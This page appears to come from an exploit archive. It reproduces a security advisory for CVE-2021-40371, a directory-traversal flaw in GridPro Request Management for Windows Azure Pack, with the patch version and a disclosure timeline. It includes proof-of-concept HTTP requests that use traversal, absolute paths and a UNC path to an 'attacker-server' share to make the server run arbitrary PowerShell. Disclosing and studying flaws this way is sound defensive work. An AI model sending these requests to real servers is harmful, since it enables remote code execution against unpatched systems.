
 Follow us on Twitter

 Subscribe to an RSS Feed

GridPro Request Management For Windows Azure Pack 2.0.7905 Directory Traversal

Authored by [Giulian Guran](#)

Posted Oct 25, 2021

GridPro Request Management for Windows Azure Pack versions 2.0.7905 and below suffer from a traversal vulnerability that can allow for arbitrary execution of Powershell scripts.

tags | [exploit](#), [arbitrary](#)

systems | [Windows](#)

advisories | [CVE-2021-40371](#)

SHA-256 | 513dd9d3220aed0443768d76d63650e8af9dc973885a471803f11ba9b1c10d5c [Download](#) | [Favorite](#) | [View](#)

[Related Files](#)

Share This

Like

Twice

[LinkedIn](#)

[Reddit](#)

[Digg](#)

[StumbleUpon](#)

[Change Mirror](#)[Download](#)

~ Certitude Security Advisory ~ CSA-2021-003 ~

PRODUCT : GridPro Request Management for Windows Azure Pack
VENDOR : GridPro Software
SEVERITY : Critical
AFFECTED VERSION : <=2.0.7905
IDENTIFIERS : CVE-2021-40371
PATCH VERSION : 2.0.7912
FOUND BY : Giulian Guran, Certitude Lab

Introduction

"Windows Azure Pack delivers cloud capabilities to \[...\] on-premise datacenter\[s\]. \[GridPro Request Management for Azure Pack\] add\[s\] business processes, custom services, and customer support by integrating Microsoft System Center Service Manager(TM) with Windows Azure Pack in a unified cloud platform."

Source: <https://www.gridprosoftware.com/products/requestmanagement/>

Vulnerability Overview

GridPro Request Management for Windows Azure Pack provides the ability to execute PowerShell scripts. Through specific JSON parameters in HTTP requests the plugin takes relative path locations as input to execute the desired PowerShell scripts on the server. Through multiple techniques however, it is possible to reach PowerShell scripts in other directories that may not be intended to be executed by the application and can therefore lead to remote code execution.

- Through directory traversal attacks (e.g. usage of one or more '..\') it is possible to reach parent directories outside the original web directory and execute arbitrary local scripts the web server account has access to.
- Through fully qualified path names (e.g. 'C:\Temp\script.ps1') it is possible to execute arbitrary local scripts the web server account has access to, when the full path to the script is known.
- By using UNC paths (e.g. '\\attacker-server\share\script.ps1') it is possible to execute arbitrary PowerShell scripts from attacker-controlled remote network shares.

Proof of Concept

Typical HTTP requests that execute PowerShell scripts on the server may look as follows. It is important to note that adding a second backslash is necessary to properly escape the backslash character:

```
POST /ServiceManagerTenant/GetVisibilityMap HTTP/2
Host: [vulnerableHost]
[...]
Connection: close

{"scriptName":"Directory1\Directory2\OriginalScript.ps1",[...]}
```

By default, this relative path lies under the configured web server directory. The possible attack types to gain access to PowerShell scripts in other directories or shares are described in the following sections.

1. Directory Traversal

Using a directory traversal, it is possible to e.g. execute a local script 'C:\Temp\script.ps1':

```
POST /ServiceManagerTenant/GetVisibilityMap HTTP/2
Host: [vulnerableHost]
[...]
Connection: close

{"scriptName":"..\..\..\..\..\Temp\script.ps1",[...]}
```

An attacker can exploit this by writing or uploading arbitrary PowerShell scripts to the server and guessing their storage location to gain remote code execution or by abusing existing PowerShell scripts on the server.

2. Direct Access Using The Fully Qualified Path Name

Using the fully qualified path name, it is again possible to e.g. execute the local script 'C:\Temp\script.ps1':

```
POST /ServiceManagerTenant/GetVisibilityMap HTTP/2
Host: [vulnerableHost]
[...]
Connection: close

{"scriptName":"C:\Temp\script.ps1",[...]}
```

An attacker can exploit this by writing or uploading arbitrary PowerShell scripts to the server and knowing their exact storage location to gain remote code execution or by abusing existing PowerShell scripts on the server.

3. Execution Of Attacker-Controlled Scripts From Network Shares

Using UNC paths, it is possible to e.g. execute arbitrary scripts from attacker-controlled network shares:

```
POST /ServiceManagerTenant/GetVisibilityMap HTTP/2
Host: [vulnerableHost]
[...]
Connection: close

{"scriptName":"\\\\attacker-server\\share\script.ps1",[...]}
```

An attacker can exploit this by preparing arbitrary PowerShell scripts on an attacker-controlled network share and get them executed on the target server to gain remote code execution.

Resolution

GridPro fixed this vulnerability in GridPro Request Management for Windows Azure Pack version 2.0.7912 and later.

Timeline

File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr
Sa					
				1	2
3					
4	5	6	7	8	9
10					
11	12	13	14	15	16
17					
18	19	20	21	22	23
24					
25	26	27	28	29	30
31					

Top Authors In Last 30 Days

Red Hat 157 files
Ubuntu 76 files
LiquidWorm 23 files
Debian 21 files
nu11security 11 files
malvuln 11 files
Gentoo 9 files
Google Security Research 8 files
Julien Ahrens 4 files
T. Weber 4 files

File Tags

ActiveX (932)	December 2022
Advisory (79,754)	November 2022
Arbitrary (15,694)	October 2022
BBS (2,859)	September 2022
Bypass (1,619)	August 2022
CGI (1,018)	July 2022
Code Execution (8,926)	June 2022
Conference (673)	May 2022
Cracker (840)	April 2022
CSRF (3,290)	March 2022
DoS (22,602)	February 2022
Encryption (2,349)	January 2022
Exploit (50,359)	Older
File Inclusion (4,165)	
File Upload (946)	

File Archives

December 2022
November 2022
October 2022
September 2022
August 2022
July 2022
June 2022
May 2022
April 2022
March 2022
February 2022
January 2022
Older

File Upload (946)	Systems
Firewall (821)	AIX (426)
Info Disclosure (2,660)	Apple (1,926)
Intrusion Detection (867)	BSD (370)
Java (2,899)	CentOS (55)
JavaScript (821)	Cisco (1,917)
Kernel (6,291)	Debian (6,634)
Local (14,201)	Fedora (1,600)
Magazine (586)	FreeBSD (1,242)
Overflow (12,419)	Gentoo (4,272)
Perl (1,418)	HPUX (878)
PHP (5,093)	IOS (330)
Proof of Concept (2,291)	iPhone (108)
Protocol (3,435)	IRIX (220)
Python (1,467)	Juniper (67)
Remote (30,044)	Linux (44,315)
Root (3,504)	Mac OS X (684)
Ruby (594)	Mandriva (3,105)
Scanner (1,631)	NetBSD (255)
Security Tool (7,777)	OpenBSD (479)
Shell (3,103)	RedHat (12,469)
Shellcode (1,204)	Slackware (941)
Sniffer (886)	Solaris (1,607)

Date	Text
2021-08-04	Sending vulnerability description and proof of concept to the vendor
2021-08-17	GridPro team confirms issue being reproduced, fixed and validated on their side
2021-08-18	GridPro team confirms a customer having installed the fix
2021-08-19	Coordination with vendor
2021-08-20	Coordination with vendor
2021-08-25	Coordination with vendor
2021-08-31	Coordination with vendor
2021-09-06	Vendor releases patch
2021-10-19	Coordination with vendor
2021-10-20	Public release of the advisory
(c) 2021 Certitude Consulting GmbH	

- Spoof (2,166)

SQL Injection (16,102)

TCP (2,379)

Trojan (686)

UDP (876)

Virus (662)

Vulnerability (31,136)

Web (9,365)

Whitepaper (3,729)

x86 (946)

XSS (17,494)

Other
- SUSE (1,444)

Ubuntu (8,199)

UNIX (9,159)

UnixWare (185)

Windows (6,511)

Other

[Login](#) or [Register](#) to add favorites



© 2022 Packet Storm. All rights reserved.

Site Links


- News by Month
- News Tags
- Files by Month
- File Tags
- File Directory


About Us

- History & Purpose
- Contact Information
- Terms of Service
- Privacy Statement
- Copyright Information

Hosting By

- Rokasec

 Follow us on Twitter

 Subscribe to an RSS Feed